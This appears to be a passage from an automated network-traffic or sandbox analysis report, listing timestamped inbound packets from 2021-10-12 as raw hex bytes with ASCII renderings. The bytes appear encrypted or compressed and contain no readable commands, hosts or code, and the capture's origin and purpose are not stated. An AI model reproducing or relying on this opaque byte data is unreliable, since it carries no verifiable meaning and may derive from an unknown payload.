35 ed cf 00 cf 47 7c 09 dd 82 59 43 90 ed be 17 cd f2 72 05 ff 6d ef aa 7e 68 94 e1 bc ee a2 68 2d 8f 35 37 9c 20 3b c8 92 
e4 7b a4 27 00 a3 52 5c 8c 42 00 47 6e ef 58 cd 97 e1 4f 49 38 4d ea 82 b9 61 d3 3e 7e 0e db fb 09 e0 86 3e ca c4 a7 ec 
60 cc d2 9a 47 df 7a 74 4f 89 a3 c7 73 84 5a 18 91 4d 2f ea 2d d6 89 f8 2d 57 7b 25 70 e5 7f 04 11 67 b0 01 db 05 38 fc 
56 6e 70 7a 59 4b cd c3 fa 53 5b 4b 90 c6 bb db c1 75 af 68 73 c6 3d 64 10 9f 95 b7 de 8f 72 0b 37 c2 7a 2d 6e cd 0d e0 
ed 39 f4 da 05 20 33 7c f0 1d 26 66 96 a6 dd ec bc de 
Data Ascii: p=BSyy8k1#DB~=$R5}{e]K2Ku{tA<|H`5G|YCrm~hh-57 ;{'R\BGnXOI8Ma>~>`GztOsZM/--W{%pg8VnpzYKS[
Kuhs=dr7z-n9 3|&f
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2021-10-12 07:38:07 UTC 64 IN Data Raw: b0 3f 88 09 90 7f 3d 82 c8 22 04 a8 78 b4 9e c1 db 1d 4f f4 bb 9a 1e be dd af d9 2e cd ce 5a 31 a1 81 13 48 d3 
3c d2 cf 05 4c 48 99 d8 3d 82 f2 80 80 98 28 f9 5a a8 83 6f f7 b3 ee c0 5f c3 52 b3 f7 2d d8 25 23 db c3 88 30 e7 99 4a 3a 
16 0f 4d c8 d8 db 1a 02 27 e7 40 bf 4b 4f 7f 3b d8 e8 0b 07 d5 09 69 6d 67 e7 73 f4 f8 62 aa 04 21 a7 f9 a8 b0 e0 8f dd 12 
ae b4 35 d5 f6 de 39 3a 58 f7 7c 1e 5a 74 8f 53 89 c6 c1 31 ff 77 2a 65 b4 95 55 48 c6 47 4f 48 c9 c0 3e 42 62 4b 06 9b 6a 
cb dd 31 be 1e b5 ac a3 26 7d 06 17 25 c2 a0 e9 04 07 d6 c1 f3 bb 7d 40 09 11 77 90 a1 d7 7f c7 28 c0 23 c2 45 d7 ce 97 
fc ee db 32 83 4f 4e 70 45 c5 68 27 60 3f 71 f4 ca 6f 73 3c ac 2f 62 15 d5 c3 c8 40 8b 1a 21 02 40 e1 45 7f 71 ee 82 e7 8a 
a1 6b 27 f0 f5 05 8a 4a a5 0f 96 4b 88 e2 
Data Ascii: ?="xO.Z1H<LH=(Zo_R-%#0J:M'@KO;imgsb!59:X|ZtS1w*eUHGOH>BbKj1&}%}@w(#E2ONpEh'`?q
os</b@!@Eqk'JK

2021-10-12 07:38:07 UTC 65 IN Data Raw: 33 2e 5d 3e d7 3a d8 82 14 ff 23 a5 1b a2 6e 1a bf 1d 23 22 6a 8c 1d 9c dc 0f 46 2a cd 6f b3 f4 63 38 30 83 78 
4a 60 b1 fd 86 4d 46 8e a4 c1 ad f2 02 66 1d fd 9c 39 cf 47 76 9e 11 ec 43 63 4b e4 30 a0 59 6d c2 ce c8 25 f8 7c f3 e1 85 
e6 a3 e2 d7 fd b2 3f 3c 0f 97 95 32 46 25 6f b0 b0 26 19 89 c0 45 9d 46 8d 5c 60 e1 59 77 59 88 4b 49 a2 74 c9 9d b5 74 
22 b3 65 1e 12 e5 1c 8b 10 3e d3 ea 48 c4 7b 7b c4 ab ec d8 6e 60 49 18 68 4a 66 0d f2 1f 5d c2 21 fe 3e ec 80 75 38 41 
68 3f 77 72 f4 2b 64 70 a6 9b e2 26 27 e8 4a 50 70 76 51 88 c8 54 fa 58 53 8b a3 35 aa d7 d0 f6 8f b4 1f 23 2a f8 0b 8b 83 
be cc 00 42 1a 3b fb 62 1f 6b cd 0d 6d dd 2f cb 5a 00 a9 33 6e f6 11 29 89 74 a0 c2 fa b9 53 b0 9b c8 4c 04 85 f4 06 55 07 
6e 7e c5 c5 9f 9f 76 ad 33 39 96 73 99 20 cf 
Data Ascii: 3.]>:#n#"jF*oc80xJ`MFf9GvCcK0Ym%|?<2F%o&EF\`YwYKItt"e>H{{n`IhJf]!>u8Ah?wr+dp&'JPpvQTXS5#
*B;bkm/Z3n)tSLUn~v39s 

2021-10-12 07:38:07 UTC 66 IN Data Raw: 2e a5 25 30 04 5c 9d 57 53 68 c2 fe 65 b0 b2 97 06 cd bc b5 c4 be 95 f1 25 50 1b 10 af 18 a3 ef e0 1d 51 3b 10 
b1 85 e6 88 b7 2a 90 2a 8e 63 d9 88 08 0a 4c 05 2b f3 7b fc 1b 4f 5e 7a 6a 99 be 3a 55 d1 27 82 ae b7 17 ce 7e 5b c1 1b 
b4 79 0e f4 40 4c f3 d3 d3 ad cb 60 76 29 06 bd bd 92 17 12 6b 7e 24 b4 d3 69 c9 34 b1 9b 73 33 5b d3 08 46 17 41 d5 f1 
ba 57 f6 a7 c8 eb f9 05 ff ce 5b c7 ca 2b f6 c9 f4 46 e5 3b 26 0c 4f 3e 40 3a d8 82 14 8a 23 a5 1b a6 9f 04 a3 3f 55 f5 6b 86
78 96 f9 0f 4c 08 ca 43 b1 f2 4d 0d 27 94 a4 71 fa a1 f3 9b cc 48 00 13 c8 30 63 c5 57 24 e7 f8 0a f0 47 7c 94 6e 94 63 77 
63 5e be 17 5b fc 55 94 e0 ff ef ab 68 dc 3c e6 a2 fb ff db 2d 86 3d b3 bb 83 3b c9 81 5b 7b 80 2e 1b 94 67 63 8c 42 9d f4 
78 d3 47 c5 c2 e1 4f 43 bb 23 61 a2 b5 7e 
Data Ascii: .%0\WShe%PQ;**cL+{O^zj:U'~[y@L`v)k~$i4s3[FAW[+F;&O>@:#?UkxLCM'qH0cW$G|ncwc^[Uh<-=;[{.gcB
xGOC#a~

2021-10-12 07:38:07 UTC 67 IN Data Raw: 15 29 70 cc dc 90 1f fb a2 12 3b 3d 1a 18 49 61 35 69 27 64 80 9f b0 57 af b1 25 11 4d 2e dd 11 4b 5a 1f f9 40 
fc 11 c5 07 1c dd e9 a9 9e 76 f2 59 c2 1d 63 f3 4a 3c a9 85 da 1b 76 97 a5 ee a1 28 e3 58 aa 95 f1 ed 7e 14 3b ef 36 3d 
ca cd ad fb 71 97 1a 0a 29 98 18 ec f8 e3 3c 8a e7 7f ab a6 2c e4 fa 00 61 79 b6 69 9b b4 0a d3 3a 96 84 34 1c 76 08 bd 
6e 13 90 f9 db 4c 40 5d a0 a5 d2 d6 2d 67 ec be e7 10 a9 07 2c c8 23 48 b5 f4 3c b6 51 8d 33 c0 36 df d8 d2 4c 5c 99 cc 
3a ed ff 62 91 97 8e 18 49 72 92 d6 c9 8d ee ca fc c1 4d b2 98 14 56 92 31 29 87 9e 23 ef dd ab 2a 13 14 e1 4d d0 c7 75 
30 b3 3d 5c b8 0b 5a 79 2c b9 4a 0f 16 d1 3f 58 8b 7e 99 4f 22 e9 6c 93 53 b1 7d 61 ec 13 f0 89 c6 be ae a8 28 d3 71 de 
2b 38 46 5b 78 82 5c 65 98 53 96 42 73 d1 f7 4e ec 4f 
Data Ascii: )p;=Ia5i'dW%M.KZ@vYcJ<v(X~;6=q)<,ayi:4vnL@]-g,#H<Q36L\:bIrMV1)#*Mu0=\Zy,J?X~O"lS}a(q+8F[
x\eSBsNO

2021-10-12 07:38:07 UTC 68 IN Data Raw: f9 7d 10 a5 34 09 58 36 15 cc 83 16 64 7b 9c 5a 3a 07 ff 37 8e 70 db ac 38 13 4a a3 f2 df 5f fb 74 58 21 1d 60 
b5 b8 07 55 c8 21 24 76 cd 70 c8 11 42 4e ac 96 5a cb f4 4a 4e f4 d4 c4 ad 93 c4 1f 5f 12 ab 8a 4d b1 d2 71 26 80 8b e2 
21 d8 2e b3 ba 73 1c 25 d2 66 61 1f 52 d7 93 9e 41 7b aa db e2 e9 1f ca b0 54 d0 db 36 6b ff e3 29 ca 98 37 24 44 0e 7e 
11 d8 88 3d c3 29 bb 9c a5 72 05 a2 26 78 2b 7b 8c 7b 30 6a 27 68 03 a5 61 a2 f6 5d 0d 3a 8a fc d5 f3 98 e7 8d 41 45 11 
17 d7 32 40 c2 6f 1a ec ee 86 c5 56 75 84 c6 ea 6e 62 4b e7 af 1e 40 e6 1a 34 de ff e5 bb 77 9b aa e7 a2 fb d8 f3 3f 9e 29 
b0 0b ec 0b c9 92 72 79 a4 10 1d 82 eb 56 9d 45 f3 4a 68 f0 59 e1 79 eb 91 5c 81 74 da 9d b5 74 93 a9 47 27 c6 f6 10 90 
32 17 cd db a3 12 f5 ca f8 9a db 8f 61 6b 40 96 df 
Data Ascii: }4X6d{Z:7p8J_tX!`U!$vpBNZJN_Mq&!.s%faRA{T6k)7$D~=)r&x+{{0j'ha]:AE2@oVunbK@4w?)ryVEJhYy\t
tG'2ak@

2021-10-12 07:38:07 UTC 70 IN Data Raw: a7 40 98 92 2a c8 04 58 42 94 7f 96 f8 2b f7 31 1c d7 c8 b5 b8 fa 45 47 17 22 81 e4 9c bb 48 89 f2 51 64 9b a7 
f0 df 38 f4 50 2e 08 d0 dd 7f 14 31 e6 30 2c c6 c5 23 7c 79 54 d0 22 21 83 18 e6 ed f4 1d 8e eb 49 bd aa 25 ff 4d 08 fe bd 
39 ad 92 30 b7 b7 1e 80 52 b3 2f 7e 20 c1 79 16 81 d8 2b ff 57 81 9b 2c c2 db 00 0c 02 ba f6 17 d1 dd 27 d9 24 d4 95 9a 
35 a1 8d 31 d2 5a 27 d4 e7 9c 5c 51 8e b2 d4 fd ce 8a ef 92 02 af 54 a0 ad 7d 40 b2 e8 e2 7c d6 4b a2 a1 89 db 25 2f 80 
6b 8d 30 eb 99 f9 39 16 0f e7 f1 be c7 64 38 0f 65 4e 97 15 63 e7 3e b7 5d 79 f8 de ab 72 1b 7e 9b 4f fe f0 40 01 59 25 a1 
d7 43 07 e1 89 ff 28 bc ad 3f ae 1a ce 2f 23 27 cf a0 1c 50 7c b6 c1 9c d6 5d 14 72 4a e6 61 9c 10 58 27 74 35 b0 43 da 
d9 47 51 72 73 bd 91 42 4d c8 22 a9 24 ab bb a7 
Data Ascii: @*XB+1EG"HQd8P.10,#|yT"!I%M90R/~ y+W,'$51Z'\QT}@|K%/k09d8eNc>]yr~O@Y%C(?/#'P|]rJaX't5CGQ
rsBM"$

2021-10-12 07:38:07 UTC 71 IN Data Raw: 1b 43 27 6d 56 7b fa 7e 3d 79 78 60 b3 ad 00 4d d1 22 c5 c2 b1 17 c2 6a 43 c2 1b b4 2f e2 f6 40 4a f3 d4 e4 8a 
1f 73 67 57 36 a9 8e c5 00 15 62 c7 2c a2 f8 2a c9 30 b5 6a 71 00 5b e0 76 74 9b f6 ec 5d 4a bf 84 b1 c2 fc 2e 05 d7 ce 
73 c0 c8 02 24 08 0b b9 e2 b3 37 2e 5a 06 f3 3a d8 88 09 d1 ed a6 13 82 68 05 a3 34 6e 12 6c 86 5e bc dd 0f da 02 a5 7a 
a5 e1 43 24 22 81 72 62 ed a1 f5 93 56 b1 01 3f da 25 47 c2 73 bc 41 fe 83 d9 28 7b 97 cc 8f 63 7c 53 fe b6 17 40 eb 6e 
e6 de d3 e6 bb 79 ec 9a 8d 3e ed c0 fc 3c 99 22 21 ad 7d 3a e4 9b 69 6c be 09 32 9c f9 4f 84 42 8d 5e 76 fc ad ec 5d f3 
4d c7 13 4b 37 8a 63 f3 ab a2 6f 08 d7 f3 09 97 09 27 cd ca a1 d0 0b cd fe 92 ca c9 64 77 dc 8b cc 53 62 92 4d 17 88 2f 3f 
c1 6a d6 9b 75 3a 59 75 31 f7 6e 31 1e 6c 7d b7 9b 
Data Ascii: C'mV{~=yx`M"jC/@JsgW6b,*0jq[vt]J.s$7.Z:h4nl^zC$"rbV?%GsA({c|S@ny><"!}:il2OB^v]MK7co'dwSbM/?
ju:Yu1n1l}

2021-10-12 07:38:07 UTC 72 IN Data Raw: 00 a6 fe b4 ef 96 85 d0 32 f3 9f ad fe 98 e6 f5 50 2e 29 c6 ed 57 4a 31 e7 2a 04 51 c1 23 4a 51 db ad 22 39 95 
10 ce c3 ef 2d 8c d2 cc b9 aa 25 6d 65 39 ef ce 8c 80 95 3c b0 19 7a 80 52 b9 24 05 85 bd 7d 10 94 f4 44 ff 7f d3 b7 b4 c7 
b4 81 7e fd bd db 1a b8 d0 f8 a4 2f dc bd f3 20 a5 e4 91 53 5e 21 c5 15 17 50 42 8d f9 67 fd ce 80 91 96 11 aa 48 c7 0c 01
44 b4 fd cc d5 99 4a a4 83 00 dc 34 2c e4 fb 05 31 e1 f0 96 a6 16 05 e5 ca c6 cb 4c 21 24 e7 4c 86 15 63 58 3d b7 51 22 
28 df ab 72 4d 82 99 4f f4 e9 6f aa 5a 25 a7 d4 d4 0b f0 87 ee 5c bf ad 39 cc ed db 07 b1 4c cf a4 0a d7 73 9e 42 99 c2 4f 
28 de e6 e6 67 be 81 74 fc 71 46 49 54 57 d4 28 51 71 67 a3 8d 42 63 cc 22 a5 24 8e bf a7 25 7d 06 50 98 c2 a0 e5 04 0b 
b4 ad e6 93 ef 57 0f 06 64 35 fc d3 7f c0 53 
Data Ascii: 2P.)WJ1*Q#JQ"9-%me9<zR$}D~/ S^!PBgHDJ4,1L!$LcX=Q"(rMOoZ%\9LsBO(gtqFITW(QqgBc"$%}PWd5S

2021-10-12 07:38:07 UTC 73 IN Data Raw: e0 e9 be 40 ca 68 51 42 fd ce d3 93 81 62 6f 27 1e 8b 1b c3 06 04 ef b9 39 bc f5 00 09 24 a2 bc fe 05 44 eb 69 
41 da 41 d3 e0 28 51 75 bf c7 f4 ce 8a cc d1 66 c1 c4 4d e6 e7 fa 59 f5 b9 e9 2e 5b 16 6f 2b d6 97 2e cf 5d 39 00 80 6d 16 
bc 6e e1 33 64 99 66 a1 bf 93 5d 0c ba 7e ac ca d7 0d 3e 9c 64 42 38 b0 fd 8c dd 5e 0e 0c de 03 be d4 71 32 6a fe 88 d0 
5f 5c 4e cc 85 45 ff 5a e3 a1 0e 4e 87 e9 09 d1 e0 f5 8a d8 f4 85 e6 3e e0 dd eb 27 97 61 a2 ad 8d 24 d4 b2 ab 6a a3 38 
96 92 e5 43 91 5d c6 ca 78 fe 4c f3 6a 7d 5e 47 bb 43 f2 ce 29 6f 8e af 70 19 49 dd 16 9a 1b 3c c3 ca a7 da d5 54 d2 9a 
db 52 6c 65 57 89 d0 c7 73 8d 5d 17 ef 4d 2f e3 2b e7 51 64 3c 50 f8 26 68 63 71 74 92 65 a8 86 d5 41 bb f9 4e ee 7e 31 
da 4f d5 42 f4 13 d8 4c be 27 9b 22 c1 e9 be f3 7d 
Data Ascii: @hQBbo'9$DiAA(QufMY.[o+.]9mn3df]~>dB8^q2j_\NEZN>'a$j8C]xLj}^GC)opI<TRleWs]M/+Qd<P&hcqteA
N~1OBL'"}

Timestamp
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2021-10-12 07:38:07 UTC 75 IN Data Raw: 2d 2c cf d2 dd 4d 55 1b b5 2f 33 90 00 18 ed c3 24 9c 66 40 b8 aa 24 60 54 05 ef c7 9d 53 93 16 98 c2 f6 a9 4b 
b8 23 7c 1f 66 6a c0 0a db 55 fb 56 8c b1 b3 d7 dc 88 c8 92 e0 f6 1d b4 da ab 6e 00 ff a9 cf 2d ac 8b 10 48 a0 26 fe cb 10 
75 4a 85 c1 22 ea 30 81 ac 90 17 a2 5e a1 99 fe 45 9e ec e1 ff f9 c8 a3 a3 11 d8 3e 19 fa 94 7d 31 e1 f6 59 3b 16 14 9c 66
c1 c3 6e 35 38 fb 62 c9 13 4b 75 37 b1 73 ab 03 df ad 50 b6 7e 99 45 87 e1 6a 82 57 28 ae 90 dd 01 e1 85 fa bc 97 0f 3d 
dd e3 e7 34 2b 48 c5 a5 36 53 5c 3d 46 98 d0 34 20 f4 4e ec 74 b8 83 4f 2c 4a da 4e 42 da c2 24 40 7b e9 a4 9d 7b cf a3 
3f ad 0c 25 ac a9 39 7f 0f 40 e5 c2 a0 e3 06 0c b4 a8 68 a8 71 42 09 6f fd b9 fb d9 57 65 43 75 24 ea 8d c3 30 9c f9 15 cb 
26 ae 56 15 74 4f fa 40 93 61 3f 08 3a 35 6e 
Data Ascii: -,MU/3$f@$`TSK#|fjUVn-H&uJ"0^E>}1Y;fn58bKu7sP~EjW(=4+H6S\=F4 NtO,JNB$@{{?%9@hqBoWeCu$0&V
tO@a?:5n

2021-10-12 07:38:07 UTC 76 IN Data Raw: a2 e3 10 dc 24 8c bc 62 14 6a f4 67 70 3d dd d3 e0 be 42 53 c9 c9 eb f2 02 ca f7 ec d0 db 36 15 ea f5 46 ee 93 
e9 3c 73 21 f3 3a d2 a0 12 d2 23 a3 1b a6 4a 05 a3 3f a3 22 6c ac 72 be dc 1f 4c 02 a5 6b b3 f2 51 06 30 91 68 62 ed b1 
e6 bc 45 4f 23 13 c9 23 65 d4 71 23 de 73 86 cf 4d 7e 81 da ad d0 62 4b e7 d1 0b 50 e3 7f 12 01 f3 c7 9d 7e f4 8f ce 9a f1 
d3 fe e2 88 2c 14 bc 82 2b c8 92 78 6a a3 38 1f 96 eb 50 96 42 9c 57 77 f2 7b f2 73 e1 45 63 b7 6c ee 9d 10 7c 80 a2 cc 
09 c4 e7 00 97 22 b8 cf db a9 cc fc d3 c2 64 da e2 68 6f 68 af da 5b 64 95 6d 26 87 d1 34 fb 72 51 9f 64 3c 4f 75 3a 66 70 
71 1b f0 75 8a 95 f2 70 25 e8 40 ed 78 70 46 57 cc a1 ea 78 46 45 bd 39 b2 c3 3f e8 92 6b 78 dd 32 f5 01 91 95 bb 36 12 
4f 02 f8 c0 5a ad 6c e5 19 7c fc 34 e7 df 06 b1 
Data Ascii: $bjgp=BS6F<s!:#J?"lrLkQ0hbEO##eq#sM~bKP~,+xj8PBWw{sEcl|"dhoh[dm&4rQd<Ou:fpqup%@xpFWxFE9?
kx26OZl|4

2021-10-12 07:38:07 UTC 77 IN Data Raw: 08 fc fe 84 ad ba 3a bd c4 e8 81 52 a8 35 7d 23 a7 7d 11 90 0e 54 d7 55 9f b8 b4 c6 cd f8 7e d1 b9 e1 16 be da 
3d 27 2f f0 bf ce 33 8a 68 1b 29 36 27 d2 cb 2e 7d 53 8b bc 43 fc ce 84 aa 92 00 af 4d 98 87 00 6c b2 ee ca fb d2 4b b5 9f 
1a f3 3e 29 f4 83 72 31 cd f4 e1 30 16 02 f9 27 c0 ef 66 29 2c e7 4d 8f ed 4a 53 3f 9c 59 21 e4 dd d0 11 74 7e 9d 65 d6 fa 
6b ff 34 25 a7 fb ed 03 e1 8f c4 80 bd ad 11 dd e5 cf 29 29 48 de b4 17 71 6f 9e 45 8f 28 5a 10 f4 56 ed 67 b3 83 a2 26 5e 
44 58 49 da d4 30 af 71 5f b5 b2 68 e0 2f 20 d4 66 2f bf a3 05 4e 00 7b eb a9 a0 e3 13 28 a5 a5 f2 a8 47 51 0f 28 72 b8 fb 
d5 7f c1 56 63 29 e9 54 c3 37 81 14 11 f6 21 9e 6c 15 73 53 3d 06 be 63 28 70 e0 33 76 9b c3 81 3c 4c 3f a2 24 ca 3d 8f 
af 20 06 60 d7 b9 7d 1a 7b 83 87 9f 8e 43 
Data Ascii: :R5}#}TU~='/3h)6'.}SCMlK>)r10'f),MJS?Y!t~ek4%))HqoE(ZVg&^DXI0q_h/ f/N{(GQ(rVc)T7!lsS=c(p3v<L?$= `}{C

2021-10-12 07:38:07 UTC 79 IN Data Raw: dd cc 49 d3 db 14 7a f6 f4 d7 e4 99 26 38 50 3d e8 3a df 9f c2 d1 0f a7 09 85 72 02 b5 cb 7c 0e 68 91 79 be da 
17 b2 03 89 69 98 f0 60 ff 32 f8 08 62 ed b4 d7 ba 43 4c 28 02 c9 23 4f a9 0b 32 f6 eb ac cf 47 6f a5 cf 85 36 63 4b ed be 
17 51 e3 77 30 c8 ff ef a0 7d d9 8e ce 9c f4 d3 f2 4f a1 28 3e b6 f9 39 bb c3 79 6a a5 57 49 82 eb 5a 8e 41 b4 14 6c f0 55 
82 5a e3 4f 43 cb 67 ec 9d b3 7c ef e0 6e 09 c2 f5 3e a5 1f 2f cb b4 82 ce f5 c6 bd c9 da ce 7b 69 2f d4 de 5b 64 80 6d 48 
82 d1 38 82 19 c5 9f 6e 53 05 65 37 60 7b 01 41 0f 74 a0 9e e2 43 22 e8 46 9d 4a 7f 46 54 b4 08 ea 54 42 77 ae 2a 8b d9 
c1 c1 be 6f 6c d9 2b f8 10 8e 81 84 d3 13 64 1b d6 da 76 af 76 c6 0d 7b ea c0 ea ec 11 ab 29 7b e8 1e ce fb ab a3 e9 f2 
81 a1 a3 f1 a7 64 87 83 de 22 41 89 14 05 c5 
Data Ascii: Iz&8P=:r|hyi`2bCL(#O2Go6cKQw0}O(>9yjWIZAlUZOCg|n>/{i/[dmH8nSe7`{AtC"FJFTTBw*ol+dvv{){d"A

2021-10-12 07:38:07 UTC 80 IN Data Raw: fb 28 c7 c6 19 41 61 bd e8 02 f6 41 23 c6 27 c3 c0 79 37 be 81 06 6c c2 21 cd c4 1b 55 cd 8e de 27 e3 ac 1c 
86 8d 0d b2 c2 ae 9a 0e 64 6f ee ca fd 4e 4d bb 86 0e fe b9 2f ec 84 ac d6 e1 f6 f9 a7 10 1a fe c6 a6 5f 62 21 35 c7 cb 97 
13 4b e3 3b a8 48 13 9b d9 b4 6c 54 99 99 4f f4 64 6e 9d 48 05 15 ff c7 03 7d 89 c8 a6 a0 be a5 db fa d8 0f 8c 48 cf a2 80 
5c 6b 86 62 28 d6 5b 3c 6a 48 f9 7e ab ec c0 21 6d 5c 6f ac da d3 28 cd 76 6c ac 86 25 57 ca 3d b3 13 20 23 a1 30 71 1d 
39 0a c5 bf fd 08 17 39 a3 ed a4 57 be 0f 00 72 24 fd cc 5f de 3c e9 24 dd 6e dc 24 0a ec 0f f8 03 0a 67 15 74 d9 c5 18 b1 
41 da 7b e0 34 f2 63 dd 89 21 2c a1 8f d8 ed 59 a2 33 26 1d 6c ea b6 e2 61 0f a4 a7 5a a4 43 7a 68 f3 1c cd df 2a 0f 9c 5f 
ea e5 3b 31 b6 f4 92 ab 74 5e c2 5e c2 6c 40 
Data Ascii: (AaA#'y7l!U'doNM/_b!5K;HlTOdnH}H\kb([<jH~!m\o(vl%W= #0q99Wr$_<$n$gtA{4c!,Y3&laZCzh*_;1t^^l@

2021-10-12 07:38:07 UTC 81 IN Data Raw: 88 5a 7c a3 35 77 35 f0 95 77 a2 ce 04 4c 13 ae 75 4d f3 67 26 22 8a 63 64 c5 c0 fc 8c 47 5e 09 67 e8 23 45 cf 
7b 26 de 6c 84 cf 41 6a 18 cb 85 45 62 5f f9 aa 3f f9 e3 75 12 c8 73 d0 aa 7e f5 ad 56 a2 f1 d9 dc 66 88 2a 34 b7 9c 32 db 
99 78 7b a8 25 f4 82 c7 5a 8a 51 95 48 7a fb 53 fc 7a f9 b1 48 88 56 ef b5 2f 7e 80 a8 63 10 d7 fd 16 8b 11 38 33 da 85 cf 
ed df d9 9a ca c5 62 60 be 97 f3 44 73 84 43 19 8f 4b 16 5b 36 c7 99 4c 8b 54 64 31 70 51 01 02 0e 72 c9 b9 c8 02 21 f7 
4c e1 6a 7d 57 55 c7 a1 ea 78 55 4c b5 11 0e df c1 ef 96 16 6c d1 21 eb 07 85 99 a4 c8 02 68 1a d6 da 76 ae 79 de 06 7c 
ed 35 f4 d2 ed bd 0e 79 c4 03 08 dd 79 5e 3d f9 80 42 b2 ba d9 64 ce 87 f4 00 e8 8a 69 6f d3 c8 a0 ba 62 8d 83 c7 97 55 
be 78 b1 06 19 03 88 08 2d 79 a3 22 b6 94 7e 9f 
Data Ascii: Z|5w5wLuMg&"cdG^g#E{&lAjEb_?us~Vf*42x{%ZQHzSzHV/~c83b`DsCK[6LTd1pQr!Lj}WUxULl!hvy|5yy^=B
diobUx-y"~

2021-10-12 07:38:07 UTC 82 IN Data Raw: 87 0b 14 bc ce 86 c3 f0 15 55 5b 36 bc ad 81 a4 8f 2e ff 3d 84 79 c0 a1 29 0a 47 35 bb f6 57 ea 76 44 30 4d 62 
b5 b6 39 7c c2 28 a0 cb aa 04 cc 11 57 c4 01 40 41 e6 ef 60 b3 e2 c5 cc a2 07 11 66 ee 32 08 8e c3 06 65 53 57 37 a3 f8 
7f b9 29 b9 af 66 14 5b f0 71 9f 14 6d d0 f7 a7 44 7b b1 cc f0 06 17 f1 dd 52 d3 f0 b7 73 dc f4 5d d4 9a 37 c5 59 16 f3 95 
d8 88 2d d2 5d 3d 11 8e 78 13 8b 1b 7d 22 60 90 5c 9e de 71 d4 02 a5 61 a5 da 65 1c 30 89 64 51 ef 9b f2 88 3f d7 00 13 
c3 35 6d fa 71 32 fc f9 b5 c4 6f 52 97 cc 83 4f be e4 ef be 17 52 f0 72 6b 1f ff ef a0 75 e5 82 f5 b3 e7 c0 e4 2d 99 45 f3 bc 
83 31 db 80 53 74 b2 29 1b 93 84 b8 8d 42 96 45 62 f7 41 e6 59 d8 4d 49 ae 33 3d 9d b5 74 91 b2 78 df d7 e6 07 8a 0b 
3d ff 07 da 0c f5 cc d8 97 cd c9 12 51 42 96 d5 
Data Ascii: U[6.=y)G5WvD0Mb9|(W@A`f2eSW7)f[qmD{Rs]7Y-]=x}"`\qae0dQ?5mq2oRORrku-E1St)BEbAYMI3=tx=QB

2021-10-12 07:38:07 UTC 83 IN Data Raw: ae 4f 8f 43 2f 32 14 70 51 86 45 57 21 21 21 07 30 d5 e9 9f bd 1b 47 3a b6 0a b9 e0 b6 93 94 86 a7 b6 65 9b 
a9 d2 b0 24 f5 43 14 21 d9 62 7f 14 31 55 20 2c d7 d3 2e 74 04 19 ad 22 33 90 02 18 ed c3 31 85 e8 75 6e a6 2e 52 39 08 
ef ce 81 af e9 fc bd c4 e4 0f e5 ae f9 47 17 aa 57 0d 8a f0 5c e2 a9 86 9f b0 d7 f1 1c 72 fd b2 e1 e3 bf f1 27 c1 23 dc b4 fe 
cf a0 a7 00 50 25 e1 d2 cf 00 58 c0 a8 41 2b fc ce df a0 12 00 af 5e 86 aa 07 6e ae e3 ca f4 ca b5 a5 a5 1c db 27 52 35 94 
8c 34 6f 41 c8 a5 0f 08 ef d0 d7 3d 65 12 25 f0 47 97 1a 57 81 3c 9b 59 21 02 e7 d5 87 8b 81 9e 58 22 f3 6f 8a 6c ad a4 
e1 11 29 e1 8f d7 a3 8f ab 39 6e e4 cf 2f 9a 48 cf b3 0a 49 7d a6 a7 98 d6 5b 3c e7 47 f8 99 b5 b9 6c 36 76 51 c3 7d da 
d3 29 47 58 87 b6 99 60 f2 03 22 af 0c 3e ba b1 
Data Ascii: OC/2pQEW!!!0G:e$C!b1U ,.t"31un.R9GW\r'#P%XA+^n'R54oA=e%GW<Y!X"ol)9n/HI}[<Gl6vQ})GX`">

2021-10-12 07:38:07 UTC 84 IN Data Raw: 11 52 29 5d 2f 08 bc 76 52 55 52 24 b7 bc 1b 6c 85 2a aa cb ab 78 4c 10 46 c6 11 a1 4d d9 fb 40 5d ed da c1 
5a 1c 5f 7c 3b 61 e9 8c c3 0c 1b 17 c2 44 e0 fa 20 d2 0c e5 be 62 1e 5c cf fa 65 15 41 cc ee a7 4f 7b b1 c7 f4 e8 e8 dc f3 
6c d3 dd b8 6b fe dc 1c e4 99 3d 41 d9 17 f3 3c cb 8f 23 c1 30 aa 11 9f 7d 1a 81 cb 7c 0e 7f 8f 63 b7 df 74 86 02 a5 6f ba 
e3 42 8a 87 12 1c fd f2 93 ee 83 41 5e 0f 0c fd dd 44 f8 21 30 8d 26 86 cf 43 74 84 c8 53 ca 48 4b ed bc 3f 19 e1 75 12 dd 
84 29 aa 7e f0 83 95 e0 f3 d3 fe 2d 8d 59 7d be 83 31 e0 d6 7a 6a a9 31 1c 15 98 1f 8e 42 96 7e 2d f2 53 e7 59 a4 4d 49 
ae 55 fa 0b 02 11 98 a3 6f 03 b9 25 16 9a 1e 30 f8 c8 a6 cc e4 c3 cd d0 25 cf 51 61 51 9a c8 8d 71 8f 5a 43 94 de 3e fc 3d 
d8 87 9a 3d 7c 63 21 75 70 71 1a 1d 7b a6 8c 
Data Ascii: R)]/vRUR$l*xLFM@]Z_|;aD b\eAO{lk=A<#0}|ctoBA^D!0&CtSHK?u)~-Y}1zj1B~-SYMIUo%0%QaQqZC>==|c
!upq{
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2021-10-12 07:38:07 UTC 86 IN Data Raw: 0a b3 f5 99 c2 d5 87 da 10 4d df af f8 ba 2d e3 c6 57 61 db f7 75 3c 75 e5 20 26 cf d2 b5 3f 3a 1b ad 28 1b dd 
1a e6 e6 e6 35 10 98 28 ba aa 2f 42 09 0a ef c4 8f b4 04 49 fe c6 e0 8b 7a fd 21 76 02 94 38 14 87 fa 5c e1 c1 30 dc ac c0 
db 0c 02 2b bb f6 19 a1 e5 36 d6 2e cd b2 fc cf a0 a7 2f 50 5d 54 90 cd 04 55 48 e2 b2 68 fe ce 8a a8 d6 02 af 54 80 c0 02 
44 b8 f6 a5 79 d3 4b a2 fa 53 da 25 23 8d dd 8e 30 eb de b3 39 16 0f c7 94 c3 c3 6e 35 3d f4 45 97 02 44 60 34 49 5a 26 
15 dd ac 6f a2 f3 b2 4f f4 fa 15 4b 5d 25 a3 e0 cd 10 ee 8f c6 bf a0 ee c7 dc c9 df 39 38 43 e7 e7 1e 5a 7e 8d 4c 8b da 44 
78 e5 41 e6 76 bb 8d a2 26 5e 55 4d 39 1c d3 28 55 73 f7 26 86 67 8b d8 26 af 0c 36 ac a8 2f 7d 0d 67 8a 3d a1 cf 07 0b 
b4 ac 64 a4 7e 39 31 59 88 47 04 cc 62 d2 48 
Data Ascii: M-Wau<u &?:(5(/BIz!v8\0+6./P]TUHhTDyKS%#09n5=ED`4IZ&oOK]%98CZ~LDxAv&^UM9(Us&g&6/}g=d~91Y
GbH

